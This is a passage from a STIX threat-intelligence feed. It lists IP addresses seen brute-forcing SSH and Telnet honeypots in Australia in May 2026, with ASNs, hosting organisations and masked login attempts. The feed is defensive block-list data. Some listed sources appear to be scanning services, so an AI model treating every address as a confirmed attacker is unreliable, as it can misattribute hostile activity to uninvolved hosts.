      "valid_until": "2026-06-17T16:15:08.000Z"
    },
    {
      "created": "2026-05-16T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--431687c0-da23-4f4e-a736-5e12f7da7042",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.136.88.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T16:15:10.000Z",
      "valid_until": "2026-06-17T16:15:08.000Z"
    },
    {
      "created": "2026-05-16T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 21499. Organisation(s): Host Europe GmbH. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******2, 2******9, 3***********4, 3**********4, Q*******..",
      "id": "indicator--c17b7f42-f3ad-461a-abf6-1aca23cb3ef4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.148.204.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T16:15:10.000Z",
      "valid_until": "2026-06-17T16:15:08.000Z"
    },
    {
      "created": "2026-05-16T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !******8, 1**0, 2******9, 3***********4, 3**********4.",
      "id": "indicator--5d204d1c-0ff7-4896-81ea-4343fad6d11b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.153.56.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T16:15:10.000Z",
      "valid_until": "2026-06-17T16:15:08.000Z"
    },
    {
      "created": "2026-05-16T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 344. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, **, u******e, a***n. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1******4, ***.",
      "id": "indicator--8cb319a5-9d5a-4ced-be01-669a8da0c13f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.154.195.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T16:15:10.000Z",
      "valid_until": "2026-06-17T16:15:08.000Z"
    },
    {
      "created": "2026-05-16T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 414. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, **, u******e, a***n. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1******4, ***.",
      "id": "indicator--c9e8be73-2460-4724-a8da-0c9522fdf9bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.156.91.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T16:15:10.000Z",
      "valid_until": "2026-06-17T16:15:08.000Z"
    },
    {
      "created": "2026-05-16T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 273. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, f******a, e****y, i***a. Passwords observed (masked): 3***********4, 3**********4, 1****1, 1**********3, 1******8.",
      "id": "indicator--3c595dbd-0307-41e1-9c9c-a2f2c0a47afa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.159.132.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T16:15:10.000Z",
      "valid_until": "2026-06-17T16:15:08.000Z"
    },
    {
      "created": "2026-05-16T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 155. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): r**t, f****e, a****2, a*******r, a**r. Passwords observed (masked): 1****6, a*******4, a****2, a*******r, a*******r.",
      "id": "indicator--2f8e336b-e805-4b2a-a69e-22eedd2e5abc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.76.34.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T16:15:10.000Z",
      "valid_until": "2026-06-17T16:15:08.000Z"
    },
    {
      "created": "2026-05-16T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 722. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): r**t, u***1, d****y, f****e, h****p. Passwords observed (masked): 1****6, ***, p******d, !******X, *.",
      "id": "indicator--51f5ac98-4ed6-476c-888e-1514ebe9a228",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.81.25.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T16:15:10.000Z",
      "valid_until": "2026-06-17T16:15:08.000Z"
    },
    {
      "created": "2026-05-16T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--d7f97056-c58b-4f8c-a70c-60b403677611",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.43.129.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T16:15:10.000Z",
      "valid_until": "2026-06-17T16:15:08.000Z"
    },
    {
      "created": "2026-05-16T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--de2cce21-965f-48dd-997b-0575262ec5da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.47.8.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T16:15:10.000Z",
      "valid_until": "2026-06-17T16:15:08.000Z"
    },
    {
      "created": "2026-05-16T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 385. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, f******a, e****y, i***a. Passwords observed (masked): 3***********4, 3**********4, 2******9, w**************m, 1****1.",
      "id": "indicator--2c450a86-83a8-4c11-b946-13ab3c4f1f53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.51.179.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T16:15:10.000Z",
      "valid_until": "2026-06-17T16:15:08.000Z"
    },
    {
      "created": "2026-05-16T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IE. ASN(s): 15502. Organisation(s): Vodafone Ireland Limited.",
      "id": "indicator--20310382-2273-4f80-b1ef-f31a228df077",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.152.221.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T16:15:10.000Z",
      "valid_until": "2026-06-17T16:15:08.000Z"
    },
    {
      "created": "2026-05-16T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): a***n, o******i, r**t. Passwords observed (masked): *, a***n, o******i.",
      "id": "indicator--d39a92a3-5ae1-4017-80ba-10c97aec1599",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.36.104.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T17:15:10.000Z",
      "valid_until": "2026-06-17T17:15:08.000Z"
    },
    {
      "created": "2026-05-16T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 29975. Organisation(s): VODACOM.",
      "id": "indicator--571568ad-4dd9-4e50-aca0-fe5f13bf54f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.245.164.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T17:15:10.000Z",
      "valid_until": "2026-06-17T17:15:08.000Z"
    },
    {
      "created": "2026-05-16T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--16d1e6d4-299d-4761-9bd6-577a8ca17744",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.56.68.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T17:15:10.000Z",
      "valid_until": "2026-06-17T17:15:08.000Z"
    },
    {
      "created": "2026-05-16T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NC. ASN(s): 56089. Organisation(s): OFFRATEL.",
      "id": "indicator--c80ea125-3bb3-407d-8e05-b2aa8e889326",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.158.183.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T17:15:10.000Z",
      "valid_until": "2026-06-17T17:15:08.000Z"
    },
    {
      "created": "2026-05-16T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--066e8bdd-c4f1-4982-bc88-b0dadcf576d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T17:15:10.000Z",
      "valid_until": "2026-06-17T17:15:08.000Z"
    },
    {
      "created": "2026-05-16T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398722. Organisation(s): Censys, Inc..",
      "id": "indicator--da585f28-7473-4102-8035-e88fecb29aa1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '199.45.154.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T17:15:10.000Z",
      "valid_until": "2026-06-17T17:15:08.000Z"
    },
    {
      "created": "2026-05-16T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--278daf4e-503a-4915-b4f9-95f9ff5bc04c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T17:15:10.000Z",
      "valid_until": "2026-06-17T17:15:08.000Z"
    },
    {
      "created": "2026-05-16T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 37061. Organisation(s): Safaricom.",
      "id": "indicator--dc73dc0a-4427-4959-af2e-f7dd959ca904",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.139.238.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T17:15:10.000Z",
      "valid_until": "2026-06-17T17:15:08.000Z"
    },
    {
      "created": "2026-05-16T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BG. ASN(s): 8866. Organisation(s): Vivacom Bulgaria EAD.",
      "id": "indicator--1f2970d7-dde5-4318-b176-6ec0ba776b98",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.187.28.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T17:15:10.000Z",
      "valid_until": "2026-06-17T17:15:08.000Z"
    },
    {
      "created": "2026-05-16T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 59162. Organisation(s): U.P. COMMUNICATION SERVICES PVT LTD. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, c****a, k*******l, t*****t.",
      "id": "indicator--74cb5b5d-42c2-48b3-b70e-d69e0bb4ac4e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.211.59.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T18:15:10.000Z",
      "valid_until": "2026-06-17T18:15:08.000Z"
    },
    {
      "created": "2026-05-16T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135905. Organisation(s): VIETNAM POSTS AND TELECOMMUNICATIONS GROUP. Usernames observed (masked): r**t. Passwords observed (masked): d****n, u****u.",
      "id": "indicator--00629ce2-9212-46cf-a352-d8e8948a58d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.61.122.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T18:15:10.000Z",
      "valid_until": "2026-06-17T18:15:08.000Z"
    },
    {
      "created": "2026-05-16T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): s****t, z***d.",
      "id": "indicator--7bc4f29d-bce2-4579-9c7b-9eda6b6fc7b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.13.122.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T18:15:10.000Z",
      "valid_until": "2026-06-17T18:15:08.000Z"
    },
    {
      "created": "2026-05-16T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, ***, 3******6, H*******4.",
      "id": "indicator--0f425d75-45a3-4045-9234-f41222ae15ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.58.215.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T18:15:10.000Z",
      "valid_until": "2026-06-17T18:15:08.000Z"
    },
    {
      "created": "2026-05-16T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 210546. Organisation(s): Chsl One Ltd. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !****e, S*********4, h*******5.",
      "id": "indicator--968ad0e2-5965-47b5-9fa5-394f10419ea6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '144.31.133.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T18:15:10.000Z",
      "valid_until": "2026-06-17T18:15:08.000Z"
    },
    {
      "created": "2026-05-16T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 273039. Organisation(s): Tecnologia del Presente 18, C.A.",
      "id": "indicator--4d94fb55-d3b9-4316-8d31-425e5d87538b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '149.100.146.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T18:15:10.000Z",
      "valid_until": "2026-06-17T18:15:08.000Z"
    },
    {
      "created": "2026-05-16T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 205. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**1, 2**8, 2**0.",
      "id": "indicator--1b13b92f-6db2-41b6-82bf-4ee30e9e3985",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.106.188.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T18:15:10.000Z",
      "valid_until": "2026-06-17T18:15:08.000Z"
    },
    {
      "created": "2026-05-16T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 249. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, **, a*******4, c****s. Passwords observed (masked): 3***********4, 3**********4, 0**********!, *, 1****6.",
      "id": "indicator--3dfa08b0-f7cf-4857-8c79-b392d4d9253c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.106.197.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T18:15:10.000Z",
      "valid_until": "2026-06-17T18:15:08.000Z"
    },
    {
      "created": "2026-05-16T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 53005. Organisation(s): REDE CONNECT TELECOMUNICACOES LTDA.",
      "id": "indicator--11317580-12be-4333-be44-3bb6c9255f03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.66.243.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T18:15:10.000Z",
      "valid_until": "2026-06-17T18:15:08.000Z"
    },
    {
      "created": "2026-05-16T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 52573. Organisation(s): Une Telecom Ltda.",
      "id": "indicator--ebed7a11-8a8a-444d-a9b9-51fb36762bcb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.92.183.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T18:15:10.000Z",
      "valid_until": "2026-06-17T18:15:08.000Z"
    },
    {
      "created": "2026-05-16T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 50780. Organisation(s): EAST-NET Ltd.",
      "id": "indicator--fd2e0a08-ddb8-43d7-8578-203d7adb0294",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.158.151.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T18:15:10.000Z",
      "valid_until": "2026-06-17T18:15:08.000Z"
    },
    {
      "created": "2026-05-16T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 6147. Organisation(s): INTEGRATEL PERU S.A.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !****e, 2******9, 3***********4, 3**********4, a********p.",
      "id": "indicator--9b6b43c1-b5b8-4329-9ecd-cf939f1ca1b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.65.191.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T18:15:10.000Z",
      "valid_until": "2026-06-17T18:15:08.000Z"
    },
    {
      "created": "2026-05-16T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 25369. Organisation(s): Hydra Communications Ltd. Usernames observed (masked): a***n, o******i, r**t. Passwords observed (masked): *, a***n, o******i.",
      "id": "indicator--fe3ebf94-802b-45a4-8686-ca06120962b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.38.148.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T18:15:10.000Z",
